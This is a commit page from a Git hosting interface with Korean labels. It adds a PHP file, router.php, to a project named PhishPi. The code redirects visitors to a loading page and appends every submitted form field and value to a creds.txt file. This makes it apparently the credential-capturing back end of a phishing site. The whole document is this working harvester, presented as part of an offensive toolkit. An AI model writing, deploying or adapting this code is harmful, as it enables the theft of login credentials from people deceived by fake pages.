소스 검색

Create router.php

assume-breach 3 년 전
부모
커밋
74fd08f789
1개의 변경된 파일13개의 추가작업 그리고 0개의 파일을 삭제
  1. 13 0
      PhishPi/Resources/router.php

+ 13 - 0
PhishPi/Resources/router.php

@@ -0,0 +1,13 @@
+<?php
+header ('Location:http://domain/loading.html');
+$handle = fopen("creds.txt", "a");
+foreach($_POST as $variable => $value) {
+   fwrite($handle, $variable);
+   fwrite($handle, "=");
+   fwrite($handle, $value);
+   fwrite($handle, "\r\n");
+}
+fwrite($handle, "\r\n");
+fclose($handle);
+exit;
+?>